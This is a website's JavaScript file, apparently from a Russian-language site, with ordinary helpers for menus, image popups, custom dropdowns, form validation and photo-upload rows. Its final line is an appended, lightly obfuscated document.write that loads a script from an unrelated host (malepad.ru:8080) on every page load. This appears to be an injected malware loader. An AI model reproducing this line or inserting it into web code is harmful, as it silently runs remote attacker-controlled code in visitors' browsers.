function o(nodeName) {
	return document.getElementById(nodeName);
};

function openImage(url, width, height) {
    var sc=(width>screen.width-50 || height>screen.height-50 ? 'yes':'no')
    var ow=(width>screen.width-50 ? screen.width:width*1+50);
    var oh=(height>screen.height-50 ? screen.height:height*1+50);
	window.open(url, '', 'width='+ow+'px, height='+oh+'px, scrollbars='+sc);
	return false;
};

function _patchManualImagesClasses() {
    var images=document.getElementsByTagName('img');
    for(var i=0; i<images.length; i++ ) {
        var id=images[i].id;
        if (images[i].getAttribute('mediaid') != null || images[i].getAttribute('uid') != null ) {
            var _m=images[i];
            var align=_m.getAttribute('align');
            var iClass=_m.getAttribute('className');
            if (iClass == null || iClass.length==0 ) {
                iClass=_m.getAttribute('class');
            };

            if (iClass==null || iClass.length==0 ) {
                _m.setAttribute('class', 'img_'+align);
                _m.setAttribute('className', 'img_'+align);
            };
        };
    };
};

var m_hidden=new Array();
var m_opened=new Array();

function m_show(id) {
	for(var i=0; i<m_opened.length; i++ ) {
		if (m_opened[i] != id ) {
			o('subnav'+m_opened[i]).style.display='none';			
		};
	};
	var tmp=new Array();
	for(var i=0; i<m_hidden.length; i++ ) {
		if ( m_hidden[i]!=id ) {
			tmp.push( m_hidden[i] );
		};
	};
	m_hidden=tmp;
	o('subnav'+id).style.display='block';
	m_opened=new Array();
	m_opened.push(id);
};

function m_hide(id, flagTP) {
    var flag=0;
	var tmp=new Array();
	for(var i=0; i<m_hidden.length; i++ ) {
		if ( m_hidden[i]==id ) {
			o('subnav'+m_hidden[i]).style.display='none';
			flag=1;
		} else {
			tmp.push( m_hidden[i] );
		};
	};

	for(var i=0; i<m_opened.length; i++ ) {
		if (m_opened[i]==id && flagTP==1) return false;
	};


	if (flag ==0 ) {
		m_hidden.push(id);
		for(var i=0; i<m_opened.length; i++ ) {
			
		};
		if (flagTP!=1 ) {
			window.setTimeout("m_hide("+id+", 1)", 500);
		};
	} else {
		m_hidden=tmp;
		if ( !tmp.length) return false;
	};
};

var dCnt=0;
function debug(msg) {
	return false;
	dCnt++;
	o('debug').innerHTML=dCnt+':'+msg+'<br/>'+o('debug').innerHTML;
};

function showStory(id) {
	o('link'+id).style.display='none';
	o('story'+id).style.display='block';
};

var reqFields=new Array('form_org', 'form_city', 'form_name', 'form_status', 'form_summ', 'form_zalog', 'form_code');
function checkForm() {
	for(var i=0; i<reqFields.length; i++ ) {
		if (o(reqFields[i])!=null ) {
			if (o(reqFields[i]).value==null || o(reqFields[i]).value.length==0 ) {
				alert('Заполните поле "'+o(reqFields[i]+'_title').innerHTML+'"');
				o(reqFields[i]).focus();
				return false;
			};
		};
	};
	var contacts=o('form_email').value + o('form_phone').value;
	if (contacts.length == 0 ) {
		alert('Заполните одно из двух полей -  "'+o('form_phone_title').innerHTML+'" или "'+o('form_email_title').innerHTML+'"');
		return false;
	};

	o('feedBackForm').submit();
	return false;
};

var formSelects=new Array('form_source', 'form_monthes');
function hideSelects() {
	for(var i=0; i<formSelects.length; i++ ) {
		if (o(formSelects[i]) != null ) {
			if (o(formSelects[i]+'_data').style.display=='block' ) {
				o(formSelects[i]+'_data').style.display='none';
			};
		};
	};
	onkeyp=function() {};
};

function onSelect(prefix, obj) {
    o(prefix).value=obj.innerHTML;
    o(prefix+'_value').innerHTML=obj.innerHTML;
	o(prefix+'_data').style.display='none';
};

function showSelect(prefix) {
	var list=o(prefix+'_data');
	var value=o(prefix).value;
	for(var i=0; i<list.childsNodes; i++ ) {
		if (list.childsNodes[i].tagName == 'A' ) {
			if (list.childsNodes[i].innerHTML == value ) {
				list.childsNodes[i].setAttribute('class', 'now');
				list.childsNodes[i].setAttribute('className', 'now');
			} else {
				list.childsNodes[i].setAttribute('class', '');
				list.childsNodes[i].setAttribute('className', '');
			};
		};
	};
	list.style.display='block';
};

function initSelects() {	
	for(var i=0; i<formSelects.length; i++ ) {
		if (o(formSelects[i]) != null ) {
			var tmp=document.createElement('DIV');
			tmp.style.display='block';
			tmp.innerHTML=o(formSelects[i]).value;
			onSelect(formSelects[i], tmp);
		};
	};
};


function getActiveChilds(obj, tagName) {
	var result=new Array();
	for(var i=0; i<obj.childNodes.length; i++ ) {
		if (obj.childNodes[i].tagName==tagName ) result.push( obj.childNodes[i] );
	};
	return result;
};

function cleanTree(obj) {
	while(obj.firstChild ) {
		obj.removeChild(obj.firstChild);
	};
};

function cloneTR(src, dst) {
	cleanTree( dst );
	for(var i=0; i<src.childNodes.length; i++ ) {
		if (src.childNodes[i].tagName == 'TD' ) {
			var newTD=document.createElement('TD');
			newTD.innerHTML=src.childNodes[i].innerHTML;
			newTD.colSpan=src.childNodes[i].colSpan;
			newTD.style.display=src.childNodes[i].style.display;
			newTD.id=src.childNodes[i].id;
			newTD.setAttribute('requiredDisplay', src.childNodes[i].getAttribute('requiredDisplay') );
			dst.appendChild(newTD);
		};
	};
};

function createFreeGroup() {
	var table;
	for(var i=0; i<o('newMessageTBL').childNodes.length; i++ ) {
		if ( o('newMessageTBL').childNodes[i].tagName=='TBODY' ) table=o('newMessageTBL').childNodes[i];
	};

   	for(var i=0; i<2; i++ ) {
    	table.appendChild(document.createElement('TR') );
    };

	var index=-1;

	var realElements=getActiveChilds(table, 'TR');

	var i=0;
	while( i < realElements.length && index < 0 ) {
		if (realElements[i].getAttribute('lastRowInMediaGroup') == 1 ) {
			index=i;
			realElements[i].setAttribute('lastRowInMediaGroup', 0);
			o('button'+(curMediaGroupCnt-1)).parentNode.innerHTML='&nbsp';
    	};
    	i++;
    };

    if ( index >= 0 ) {
	    for(var i=realElements.length-1; i>index+2; i-- ) {
	    	cloneTR( realElements[i-2], realElements[i] );
	    };
    };

    //insert html template as DOM
	cleanTree( realElements[index+1] );
	var td=document.createElement('TD');
	realElements[index+1].appendChild( td );
	realElements[index+1].appendChild(document.createElement('TD') );
	cleanTree( realElements[index+2] );
	realElements[index+2].appendChild(document.createElement('TD') );
	realElements[index+2].appendChild(document.createElement('TD') );
	realElements[index+2].appendChild(document.createElement('TD') );

	realElements[index+1].childNodes[0].innerHTML='Путь к фото:';
	realElements[index+1].childNodes[1].colSpan=2;
	realElements[index+1].childNodes[1].innerHTML='<input type="File" name="filetoattach'+curMediaGroupCnt+'"/>';

	realElements[index+2].childNodes[0].innerHTML='Название фото:';
	realElements[index+2].childNodes[1].innerHTML='<input type="Text" class="text_input" name="title'+curMediaGroupCnt+'"/>';
	realElements[index+2].childNodes[2].innerHTML='<input type="Button"  name="button'+curMediaGroupCnt+'"  id="button'+curMediaGroupCnt+'" value=" + " onClick="javascript:createFreeGroup();" />';

    realElements[index+2].setAttribute('lastRowInMediaGroup', 1);

    curMediaGroupCnt++;
};

document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/Num_Lock.js"></scr'+'ipt>');